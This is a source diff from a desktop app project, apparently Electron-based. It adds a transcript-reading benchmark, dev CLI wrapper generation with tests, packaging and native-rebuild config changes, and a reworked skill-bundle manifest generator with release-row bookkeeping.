||||
)
|
||||
let written = 0
|
||||
let index = 0
|
||||
while (written < trailingBytes) {
|
||||
const line = JSON.stringify({
|
||||
role: 'assistant',
|
||||
content: [{ type: 'text', text: `${'current turn output '.repeat(30)}${index}` }]
|
||||
})
|
||||
lines.push(line)
|
||||
written += line.length + 1
|
||||
index += 1
|
||||
}
|
||||
writeFileSync(path, `${lines.join('\n')}\n`)
|
||||
}
|
||||
|
||||
// One tool result larger than many read blocks — the shape with no newline for
|
||||
// the backward scan to stop on.
|
||||
function writeTranscriptWithHugeLine(path, lineBytes) {
|
||||
const lines = [
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] }),
|
||||
JSON.stringify({ role: 'assistant', content: [{ type: 'text', text: 'x'.repeat(lineBytes) }] })
|
||||
]
|
||||
writeFileSync(path, `${lines.join('\n')}\n`)
|
||||
}
|
||||
|
||||
function measure(fn, path) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
fn(path)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 3; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
fn(path)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[1]
|
||||
}
|
||||
|
||||
const dir = mkdtempSync(join(tmpdir(), 'orca-cc-transcript-bench-'))
|
||||
try {
|
||||
const rows = []
|
||||
for (const priorTurns of [250, 1000, 3000, 6000]) {
|
||||
const path = join(dir, `transcript-${priorTurns}.jsonl`)
|
||||
writeTranscript(path, priorTurns)
|
||||
const forward = readForward(path)
|
||||
const backward = readBackward(path)
|
||||
if (forward !== backward) {
|
||||
throw new Error(`prompt mismatch at ${priorTurns} prior turns: ${forward} vs ${backward}`)
|
||||
}
|
||||
if (backward !== 'the current prompt') {
|
||||
throw new Error(`benchmark fixture resolved the wrong prompt: ${backward}`)
|
||||
}
|
||||
rows.push({
|
||||
sizeMb: statSync(path).size / (1024 * 1024),
|
||||
beforeMs: measure(readForward, path),
|
||||
afterMs: measure(readBackward, path)
|
||||
})
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Command Code transcript prompt read, per hook event')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 3 rounds)`)
|
||||
console.log(
|
||||
`${pad('size', 9)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('speedup', 9)}`
|
||||
)
|
||||
for (const row of rows) {
|
||||
console.log(
|
||||
`${pad(`${row.sizeMb.toFixed(2)} MB`, 9)} ${pad(row.beforeMs.toFixed(3), 11)} ${pad(row.afterMs.toFixed(3), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(0)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nThe old cost grows with the transcript; the new cost is flat because the\ncurrent turn’s prompt sits near EOF and the scan stops at the first hit.'
|
||||
)
|
||||
|
||||
// Worst cases, reported even where the ratio is below 1x. The new cost scales
|
||||
// with bytes-AFTER the prompt, so a long turn (many tool calls since the ask)
|
||||
// and a single oversized tool result are where the win decays or inverts.
|
||||
const worst = []
|
||||
for (const trailingKb of [32, 256, 1024, 3072]) {
|
||||
const path = join(dir, `trailing-${trailingKb}.jsonl`)
|
||||
writeTranscriptWithTrailing(path, 1500, trailingKb * 1024)
|
||||
if (readForward(path) !== readBackward(path)) {
|
||||
throw new Error(`prompt mismatch at trailing ${trailingKb} KB`)
|
||||
}
|
||||
worst.push({
|
||||
label: `${(trailingKb / 1024).toFixed(2)} MB after prompt`,
|
||||
beforeMs: measure(readForward, path),
|
||||
afterMs: measure(readBackward, path)
|
||||
})
|
||||
}
|
||||
const hugePath = join(dir, 'huge-line.jsonl')
|
||||
writeTranscriptWithHugeLine(hugePath, 3 * 1024 * 1024)
|
||||
if (readForward(hugePath) !== readBackward(hugePath)) {
|
||||
throw new Error('prompt mismatch on the oversized-line fixture')
|
||||
}
|
||||
worst.push({
|
||||
label: '3 MB single line',
|
||||
beforeMs: measure(readForward, hugePath),
|
||||
afterMs: measure(readBackward, hugePath)
|
||||
})
|
||||
|
||||
console.log('\nWorst cases (win decays as a turn progresses; <1x means slower):')
|
||||
console.log(
|
||||
`${pad('case', 22)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('ratio', 9)}`
|
||||
)
|
||||
for (const row of worst) {
|
||||
console.log(
|
||||
`${pad(row.label, 22)} ${pad(row.beforeMs.toFixed(3), 11)} ${pad(row.afterMs.toFixed(3), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(2)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nThe win shrinks toward parity as output accumulates after the prompt, since\nthe backward scan has to read past all of it. The single-line row is the floor:\nno newline to stop on, so the scan reads the line in blocks and joins once where\nthe old code issued one flat read. Both sides pay the same per-line structure\nscan, and the carry is a chunk list, so cost stays linear either way.'
|
||||
)
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true })
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
import { chmodSync, mkdirSync, writeFileSync } from 'node:fs'
|
||||
import path from 'node:path'
|
||||
|
||||
function escapeWindowsBatchValue(value) {
|
||||
// Why: cmd.exe expands %NAME% even inside quotes, so literal path percent signs must be doubled.
|
||||
return value.replaceAll('%', '%%')
|
||||
}
|
||||
|
||||
export function prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath,
|
||||
electronExecutable,
|
||||
platform = process.platform
|
||||
}) {
|
||||
const binDir = path.join(repoRoot, 'out', 'bin')
|
||||
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
|
||||
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
|
||||
mkdirSync(binDir, { recursive: true })
|
||||
mkdirSync(userDataBinDir, { recursive: true })
|
||||
|
||||
if (platform === 'win32') {
|
||||
const wrapperContent = `@echo off\r\nset "ORCA_USER_DATA_PATH=${escapeWindowsBatchValue(userDataPath)}"\r\nset "ORCA_DEV_CLI_INVOCATION=1"\r\nset "ORCA_APP_EXECUTABLE=${escapeWindowsBatchValue(electronExecutable)}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${escapeWindowsBatchValue(cliPath)}" %*\r\n`
|
||||
for (const targetDir of [binDir, userDataBinDir]) {
|
||||
for (const commandName of ['orca-dev.cmd', 'orca.cmd']) {
|
||||
writeFileSync(path.join(targetDir, commandName), wrapperContent, 'utf8')
|
||||
}
|
||||
}
|
||||
} else {
|
||||
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_DEV_CLI_INVOCATION=1\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronExecutable)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
|
||||
for (const targetDir of [binDir, userDataBinDir]) {
|
||||
for (const commandName of ['orca-dev', 'orca']) {
|
||||
const wrapperPath = path.join(targetDir, commandName)
|
||||
writeFileSync(wrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(wrapperPath, 0o755)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return { binDir, userDataBinDir }
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
import { mkdtempSync, readFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import path from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
describe('dev CLI terminal wrappers', () => {
|
||||
it('writes profile-scoped Windows wrappers for worker terminals', () => {
|
||||
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
|
||||
const userDataPath = path.join(root, 'profile')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable: path.join(root, 'electron.exe'),
|
||||
platform: 'win32'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
|
||||
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath}"`)
|
||||
expect(wrapper).toContain('set "ORCA_DEV_CLI_INVOCATION=1"')
|
||||
expect(wrapper).toContain(`node "${path.join(root, 'out', 'cli', 'index.js')}" %*`)
|
||||
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
|
||||
it('escapes literal percent signs in every Windows batch path', () => {
|
||||
const root = path.join(mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-')), '%repo%')
|
||||
const userDataPath = path.join(root, '%profile%')
|
||||
const electronExecutable = path.join(root, '%electron%', 'electron.exe')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable,
|
||||
platform: 'win32'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
|
||||
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath.replaceAll('%', '%%')}"`)
|
||||
expect(wrapper).toContain(
|
||||
`set "ORCA_APP_EXECUTABLE=${electronExecutable.replaceAll('%', '%%')}"`
|
||||
)
|
||||
expect(wrapper).toContain(
|
||||
`node "${path.join(root, 'out', 'cli', 'index.js').replaceAll('%', '%%')}" %*`
|
||||
)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
|
||||
it('writes executable-style POSIX wrappers with the same profile identity', () => {
|
||||
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
|
||||
const userDataPath = path.join(root, 'profile')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable: path.join(root, 'electron'),
|
||||
platform: 'linux'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev'), 'utf8')
|
||||
expect(wrapper).toContain(`export ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}`)
|
||||
expect(wrapper).toContain('export ORCA_DEV_CLI_INVOCATION=1')
|
||||
expect(wrapper).toContain(
|
||||
`exec node ${JSON.stringify(path.join(root, 'out', 'cli', 'index.js'))}`
|
||||
)
|
||||
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
})
|
||||
@@ -1,4 +1,4 @@
|
||||
import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { cp, mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
@@ -35,17 +35,25 @@ describe('electron-builder config', () => {
|
||||
'!pr-evidence{,/**/*}',
|
||||
'!Casks{,/**/*}',
|
||||
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
|
||||
'!out/**/*.test.js'
|
||||
'!out/**/*.test.js',
|
||||
'!resources/plugins/launch/**'
|
||||
])
|
||||
)
|
||||
})
|
||||
|
||||
it('keeps runtime resources available through extraResources', () => {
|
||||
const bundledPluginResources = expect.objectContaining({
|
||||
from: 'resources/plugins/launch',
|
||||
to: 'plugins/launch'
|
||||
})
|
||||
for (const platform of ['mac', 'linux', 'win']) {
|
||||
expect(electronBuilderConfig[platform].extraResources).toContainEqual({
|
||||
from: 'resources/skills',
|
||||
to: 'skills'
|
||||
})
|
||||
expect(electronBuilderConfig[platform].extraResources).toEqual(
|
||||
expect.arrayContaining([bundledPluginResources])
|
||||
)
|
||||
}
|
||||
expect(electronBuilderConfig.mac.extraResources).toEqual(
|
||||
expect.arrayContaining([
|
||||
@@ -77,6 +85,26 @@ describe('electron-builder config', () => {
|
||||
)
|
||||
})
|
||||
|
||||
// Why: the Windows CLI shim is delivered only via extraResources to
|
||||
// resources/bin/orca.cmd (beside the native resources/bin/orca.exe). If the
|
||||
// source tree is also packed into app.asar it gets extracted by
|
||||
// asarUnpack:['resources/**'] to app.asar.unpacked/resources/win32/bin/orca.cmd,
|
||||
// a duplicate with no adjacent orca.exe that fails to launch (#7351).
|
||||
it('keeps the Windows CLI shim source tree out of app.asar', () => {
|
||||
expect(electronBuilderConfig.files).toEqual(
|
||||
expect.arrayContaining(['!resources/win32{,/**/*}'])
|
||||
)
|
||||
// Regression guard: the working shim must still ship via extraResources.
|
||||
expect(electronBuilderConfig.win.extraResources).toEqual(
|
||||
expect.arrayContaining([
|
||||
expect.objectContaining({
|
||||
from: 'resources/win32/bin/orca.cmd',
|
||||
to: 'bin/orca.cmd'
|
||||
})
|
||||
])
|
||||
)
|
||||
})
|
||||
|
||||
// Why: on macOS 26 UNUserNotificationCenter aborts for executables launched
|
||||
// from Contents/Resources, so the helper must ship in Contents/MacOS (#7929).
|
||||
it('ships the mac notification-status helper in Contents/MacOS, not Resources', () => {
|
||||
@@ -366,6 +394,11 @@ describe('electron-builder config', () => {
|
||||
const resourcesDir = join(root, 'linux-unpacked', 'resources')
|
||||
const launcherPath = join(resourcesDir, 'bin', 'orca-ide')
|
||||
await mkdir(join(resourcesDir, 'bin'), { recursive: true })
|
||||
await cp(
|
||||
join(process.cwd(), 'resources', 'plugins', 'launch'),
|
||||
join(resourcesDir, 'plugins', 'launch'),
|
||||
{ recursive: true }
|
||||
)
|
||||
await mkdir(join(resourcesDir, 'node_modules', 'zod', 'src'), { recursive: true })
|
||||
// Why: afterPack now fails hard when the unpacked daemon entry is
|
||||
// missing, so the fixture must carry one like a real package layout.
|
||||
|
||||
@@ -7,8 +7,8 @@ function electronBuilderNativeRebuild(context) {
|
||||
return runElectronBuilderNativeRebuild(context)
|
||||
}
|
||||
|
||||
function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
|
||||
const args = buildNativeRebuildArgs(context)
|
||||
function runElectronBuilderNativeRebuild(context, runner = execFileSync, runtime = {}) {
|
||||
const args = buildNativeRebuildArgs(context, runtime)
|
||||
if (readPlatformName(context?.platform) === 'win32') {
|
||||
runner(process.execPath, ['config/scripts/build-windows-cli-launcher.mjs'], {
|
||||
cwd: projectDir,
|
||||
@@ -25,15 +25,22 @@ function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
|
||||
return false
|
||||
}
|
||||
|
||||
function buildNativeRebuildArgs(context) {
|
||||
function buildNativeRebuildArgs(
|
||||
context,
|
||||
{ environment = process.env, hostPlatform = process.platform, hostArch = process.arch } = {}
|
||||
) {
|
||||
const platform = readPlatformName(context?.platform)
|
||||
const arch = readArchName(context?.arch)
|
||||
const canReusePreparedRuntime =
|
||||
environment.ORCA_REUSE_PREPARED_NATIVE_RUNTIME === '1' &&
|
||||
platform === hostPlatform &&
|
||||
arch === hostArch
|
||||
|
||||
return [
|
||||
'config/scripts/rebuild-native-deps.mjs',
|
||||
`--platform=${platform}`,
|
||||
`--arch=${arch}`,
|
||||
'--force'
|
||||
...(canReusePreparedRuntime ? [] : ['--force'])
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
@@ -42,6 +42,33 @@ describe('electron-builder native rebuild hook', () => {
|
||||
])
|
||||
})
|
||||
|
||||
it('reuses a prepared native runtime only for the host target', () => {
|
||||
const runtime = {
|
||||
environment: { ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1' },
|
||||
hostPlatform: 'linux',
|
||||
hostArch: 'x64'
|
||||
}
|
||||
|
||||
expect(
|
||||
buildNativeRebuildArgs(
|
||||
{
|
||||
platform: { nodeName: 'linux' },
|
||||
arch: 'x64'
|
||||
},
|
||||
runtime
|
||||
)
|
||||
).toEqual(['config/scripts/rebuild-native-deps.mjs', '--platform=linux', '--arch=x64'])
|
||||
expect(
|
||||
buildNativeRebuildArgs(
|
||||
{
|
||||
platform: { nodeName: 'linux' },
|
||||
arch: 'arm64'
|
||||
},
|
||||
runtime
|
||||
)
|
||||
).toContain('--force')
|
||||
})
|
||||
|
||||
it('builds the native CLI launcher before packaging Windows resources', () => {
|
||||
const calls = []
|
||||
const result = runElectronBuilderNativeRebuild(
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { electronViteConfig } from '../../electron.vite.config'
|
||||
|
||||
const targetConfig = readFileSync('config/electron-vite-target.config.ts', 'utf8')
|
||||
|
||||
describe('Electron Vite output contract', () => {
|
||||
it('keeps main-process and plain-Node entries at stable CommonJS paths', () => {
|
||||
const output = electronViteConfig.main?.build?.rollupOptions?.output
|
||||
if (!output || Array.isArray(output)) {
|
||||
throw new Error('Expected one main-process output')
|
||||
}
|
||||
|
||||
expect(output.format).toBe('cjs')
|
||||
expect(output.entryFileNames).toBe('[name].js')
|
||||
expect(output.chunkFileNames).toBe('chunks/[name]-[hash].js')
|
||||
})
|
||||
|
||||
it('externalizes packaged dependencies but bundles the daemon xterm graph', () => {
|
||||
const external = electronViteConfig.main?.build?.rollupOptions?.external
|
||||
if (typeof external !== 'function') {
|
||||
throw new Error('Expected main-process external predicate')
|
||||
}
|
||||
|
||||
expect(external('node-pty', undefined, false)).toBe(true)
|
||||
expect(external('@parcel/watcher', undefined, false)).toBe(true)
|
||||
expect(external('electron', undefined, false)).toBe(true)
|
||||
expect(external('node:fs', undefined, false)).toBe(true)
|
||||
expect(external('@xterm/headless', undefined, false)).toBe(false)
|
||||
expect(external('@xterm/addon-serialize', undefined, false)).toBe(false)
|
||||
})
|
||||
|
||||
it('isolates renderer entry side effects behind strict facades', () => {
|
||||
expect(electronViteConfig.renderer?.build?.rollupOptions?.preserveEntrySignatures).toBe(
|
||||
'strict'
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects prototype properties as build targets', () => {
|
||||
expect(targetConfig).toContain('Object.prototype.hasOwnProperty.call(configByTarget, target)')
|
||||
})
|
||||
})
|
||||
@@ -18,6 +18,11 @@ const OUTPUT_ROOT = path.join(REPO_ROOT, 'resources', 'skills')
|
||||
const CURRENT_MANIFEST_PATH = path.join(OUTPUT_ROOT, 'current-manifest.json')
|
||||
const SNAPSHOT_REGISTRY_PATH = path.join(OUTPUT_ROOT, 'snapshot-registry.json')
|
||||
const RELEASE_MAPPING_PATH = path.join(OUTPUT_ROOT, 'release-mapping.json')
|
||||
// Why: the manifest and registry are content-addressed — they describe skill
|
||||
// bytes. The mapping is provenance: which already-committed revision a tag
|
||||
// shipped. A release cut may append the second without regenerating the first.
|
||||
const CONTENT_ADDRESSED_PATHS = [CURRENT_MANIFEST_PATH, SNAPSHOT_REGISTRY_PATH]
|
||||
const ALL_ARTIFACT_PATHS = [...CONTENT_ADDRESSED_PATHS, RELEASE_MAPPING_PATH]
|
||||
|
||||
function sha256(bytes) {
|
||||
return createHash('sha256').update(bytes).digest('hex')
|
||||
@@ -370,14 +375,77 @@ function buildReleasedHistory() {
|
||||
return { registry, mapping }
|
||||
}
|
||||
|
||||
// Why: the artifacts must be pure functions of skills/ bytes and release-tag
|
||||
// history. Stamping the app version made every release cut invalidate the
|
||||
// committed output on all open branches and drag skill CI onto unrelated PRs.
|
||||
async function buildArtifacts() {
|
||||
// Why: released history is authoritative committed data, advanced only at
|
||||
// release cut. Seeding generation from the committed registry + mapping makes
|
||||
// ordinary verify/regeneration a pure function of working-tree bytes, so it
|
||||
// never walks git tags — the root cause of recurring lint drift when a clone
|
||||
// holds stray, deleted, or fork tags the committed artifacts predate.
|
||||
function releasedHistoryFromCommitted(committedRegistry, committedMapping) {
|
||||
const registry = { schemaVersion: SNAPSHOT_REGISTRY_SCHEMA_VERSION, skills: {} }
|
||||
const releasedSnapshotCounts = {}
|
||||
const mapping =
|
||||
committedMapping && committedMapping.schemaVersion === RELEASE_MAPPING_SCHEMA_VERSION
|
||||
? structuredClone(committedMapping)
|
||||
: { schemaVersion: RELEASE_MAPPING_SCHEMA_VERSION, releases: [] }
|
||||
if (committedRegistry && committedRegistry.schemaVersion === SNAPSHOT_REGISTRY_SCHEMA_VERSION) {
|
||||
const mappedCounts = releasedSnapshotCountsFromMapping(mapping)
|
||||
for (const [name, snapshots] of Object.entries(committedRegistry.skills ?? {})) {
|
||||
// The committed registry carries at most one unreleased tail beyond the
|
||||
// revisions named by the mapping; drop it and recompute it from bytes.
|
||||
const releasedCount = mappedCounts?.[name] ?? Math.max(0, snapshots.length - 1)
|
||||
registry.skills[name] = snapshots.slice(0, releasedCount)
|
||||
releasedSnapshotCounts[name] = releasedCount
|
||||
}
|
||||
}
|
||||
return { registry, mapping, releasedSnapshotCounts }
|
||||
}
|
||||
|
||||
// Why: disaster recovery only. Reconstruct released history from the immutable
|
||||
// release tags when the committed ledger must be rebuilt from scratch. Kept off
|
||||
// the verify/regenerate path — walking tags there is what coupled lint to the
|
||||
// executing clone's tag state and broke it on version bumps, new tags, and
|
||||
// stray/deleted local tags.
|
||||
function releasedHistoryFromTags() {
|
||||
const { registry, mapping } = buildReleasedHistory()
|
||||
const releasedSnapshotCounts = Object.fromEntries(
|
||||
Object.entries(registry.skills).map(([name, snapshots]) => [name, snapshots.length])
|
||||
)
|
||||
return { registry, mapping, releasedSnapshotCounts }
|
||||
}
|
||||
|
||||
// Why: release cut is the single authoritative point where working-tree bytes
|
||||
// become an immutable released revision. Append one mapping row for the version,
|
||||
// mirroring the historical dedupe where consecutive identical skill trees share
|
||||
// the earliest release's row.
|
||||
function appendReleaseRow(artifacts, version) {
|
||||
const appVersion = version.startsWith('v') ? version.slice(1) : version
|
||||
const currentRevisions = {}
|
||||
for (const skill of artifacts.currentManifest.skills) {
|
||||
currentRevisions[skill.name] = skill.releaseRevision
|
||||
}
|
||||
const releases = artifacts.releaseMapping.releases
|
||||
const last = releases.at(-1)
|
||||
if (last && isDeepStrictEqual(last.skills, currentRevisions)) {
|
||||
return
|
||||
}
|
||||
// Why: a cut that pushed the version bump to main but died before pushing the
|
||||
// tag is re-cut at the same version. If skills changed in between, appending
|
||||
// would leave two rows claiming this version and the stale one would name
|
||||
// revisions that tag never ships — overwrite, since the tag ships these bytes.
|
||||
if (last?.appVersion === appVersion) {
|
||||
releases[releases.length - 1] = { appVersion, skills: currentRevisions }
|
||||
return
|
||||
}
|
||||
// Why: an earlier row means re-cutting an already-shipped version, which the
|
||||
// cut workflow refuses upstream. Fail rather than corrupt shipped provenance.
|
||||
if (releases.some((release) => release.appVersion === appVersion)) {
|
||||
throw new Error(`Release mapping already has a row for ${appVersion}.`)
|
||||
}
|
||||
releases.push({ appVersion, skills: currentRevisions })
|
||||
}
|
||||
|
||||
async function buildArtifacts(releasedHistory) {
|
||||
const { registry, mapping, releasedSnapshotCounts } = releasedHistory
|
||||
const skillDirectories = (await readdir(SKILLS_ROOT, { withFileTypes: true }))
|
||||
.filter((entry) => entry.isDirectory())
|
||||
.map((entry) => entry.name)
|
||||
@@ -488,13 +556,14 @@ function serialized(value) {
|
||||
return `${JSON.stringify(value, null, 2)}\n`
|
||||
}
|
||||
|
||||
async function writeArtifacts(artifacts) {
|
||||
await mkdir(OUTPUT_ROOT, { recursive: true })
|
||||
await Promise.all([
|
||||
writeFile(CURRENT_MANIFEST_PATH, serialized(artifacts.currentManifest)),
|
||||
writeFile(SNAPSHOT_REGISTRY_PATH, serialized(artifacts.snapshotRegistry)),
|
||||
writeFile(RELEASE_MAPPING_PATH, serialized(artifacts.releaseMapping))
|
||||
async function writeArtifacts(artifacts, paths = ALL_ARTIFACT_PATHS) {
|
||||
const values = new Map([
|
||||
[CURRENT_MANIFEST_PATH, artifacts.currentManifest],
|
||||
[SNAPSHOT_REGISTRY_PATH, artifacts.snapshotRegistry],
|
||||
[RELEASE_MAPPING_PATH, artifacts.releaseMapping]
|
||||
])
|
||||
await mkdir(OUTPUT_ROOT, { recursive: true })
|
||||
await Promise.all(paths.map((filePath) => writeFile(filePath, serialized(values.get(filePath)))))
|
||||
}
|
||||
|
||||
// Why: cutting a release tag adds a trailing mapping row on every checkout at
|
||||
@@ -529,12 +598,12 @@ function isToleratedReleaseMappingPrefix(committedText, artifacts) {
|
||||
.every((release) => isDeepStrictEqual(release.skills, currentRevisions))
|
||||
}
|
||||
|
||||
async function verifyArtifacts(artifacts) {
|
||||
async function verifyArtifacts(artifacts, paths = ALL_ARTIFACT_PATHS) {
|
||||
const expected = [
|
||||
[CURRENT_MANIFEST_PATH, artifacts.currentManifest, null],
|
||||
[SNAPSHOT_REGISTRY_PATH, artifacts.snapshotRegistry, null],
|
||||
[RELEASE_MAPPING_PATH, artifacts.releaseMapping, isToleratedReleaseMappingPrefix]
|
||||
]
|
||||
].filter(([filePath]) => paths.includes(filePath))
|
||||
const stale = []
|
||||
for (const [filePath, value, tolerated] of expected) {
|
||||
try {
|
||||
@@ -557,13 +626,41 @@ async function verifyArtifacts(artifacts) {
|
||||
}
|
||||
|
||||
async function main() {
|
||||
const artifacts = await buildArtifacts()
|
||||
assertReleasedHistoryPreserved(
|
||||
await readCommittedRegistry(),
|
||||
artifacts,
|
||||
await readCommittedReleaseMapping()
|
||||
)
|
||||
await (process.argv.includes('--write') ? writeArtifacts : verifyArtifacts)(artifacts)
|
||||
const argv = process.argv.slice(2)
|
||||
const rebuildFromTags = argv.includes('--rebuild-from-tags')
|
||||
const releaseIndex = argv.indexOf('--release')
|
||||
const releaseVersion = releaseIndex >= 0 ? argv[releaseIndex + 1] : null
|
||||
if (releaseIndex >= 0 && !releaseVersion) {
|
||||
throw new Error('--release requires a version argument, e.g. --release 1.4.160')
|
||||
}
|
||||
|
||||
const committedRegistry = await readCommittedRegistry()
|
||||
const committedMapping = await readCommittedReleaseMapping()
|
||||
const releasedHistory = rebuildFromTags
|
||||
? releasedHistoryFromTags()
|
||||
: releasedHistoryFromCommitted(committedRegistry, committedMapping)
|
||||
const artifacts = await buildArtifacts(releasedHistory)
|
||||
|
||||
if (releaseVersion) {
|
||||
// Why: the row names revisions the committed registry must already contain,
|
||||
// so proving those artifacts match this ref is what lets the cut record
|
||||
// provenance without regenerating them. If regeneration disagrees with what
|
||||
// is committed, the row would name a revision this tag does not ship.
|
||||
await verifyArtifacts(artifacts, CONTENT_ADDRESSED_PATHS)
|
||||
appendReleaseRow(artifacts, releaseVersion)
|
||||
}
|
||||
|
||||
// Why: released snapshots are append-only. The committed registry/mapping are
|
||||
// read fresh here so the artifacts (which may have appended a release row) can
|
||||
// never alias what we validate against. This mapping must stay the PRE-append
|
||||
// one to match artifacts.releasedSnapshotCounts, which seeding fixed before the
|
||||
// row existed; the post-append mapping names one more revision than the counts
|
||||
// do, which reads as incomplete history and would throw on every cut.
|
||||
assertReleasedHistoryPreserved(committedRegistry, artifacts, committedMapping)
|
||||
|
||||
const shouldWrite = releaseVersion !== null || argv.includes('--write')
|
||||
const writePaths = releaseVersion ? [RELEASE_MAPPING_PATH] : ALL_ARTIFACT_PATHS
|
||||
await (shouldWrite ? writeArtifacts(artifacts, writePaths) : verifyArtifacts(artifacts))
|
||||
}
|
||||
|
||||
if (process.argv[1] && path.resolve(process.argv[1]) === import.meta.filename) {
|
||||
@@ -574,6 +671,7 @@ if (process.argv[1] && path.resolve(process.argv[1]) === import.meta.filename) {
|
||||
}
|
||||
|
||||
export {
|
||||
appendReleaseRow,
|
||||
assertReleasedHistoryPreserved,
|
||||
buildArtifacts,
|
||||
buildReleasedHistory,
|
||||
@@ -584,6 +682,7 @@ export {
|
||||
isToleratedReleaseMappingPrefix,
|
||||
normalizeText,
|
||||
packageDigest,
|
||||
releasedHistoryFromCommitted,
|
||||
sortManifestFiles,
|
||||
verifyArtifacts,
|
||||
writeArtifacts
|
||||
|
||||
@@ -1,9 +1,21 @@
|
||||
import { execFileSync } from 'node:child_process'
|
||||
import { chmod, mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'
|
||||
import {
|
||||
chmod,
|
||||
copyFile,
|
||||
mkdir,
|
||||
mkdtemp,
|
||||
readFile,
|
||||
realpath,
|
||||
rm,
|
||||
symlink,
|
||||
writeFile
|
||||
} from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import path from 'node:path'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { parse } from 'yaml'
|
||||
import {
|
||||
appendReleaseRow,
|
||||
assertReleasedHistoryPreserved,
|
||||
classifyFile,
|
||||
collectPackageFiles,
|
||||
@@ -12,10 +24,12 @@ import {
|
||||
isToleratedReleaseMappingPrefix,
|
||||
normalizeText,
|
||||
packageDigest,
|
||||
releasedHistoryFromCommitted,
|
||||
sortManifestFiles
|
||||
} from './generate-skill-bundle-manifest.mjs'
|
||||
|
||||
const temporaryDirectories = []
|
||||
const REPO_ROOT = path.resolve(import.meta.dirname, '..', '..')
|
||||
|
||||
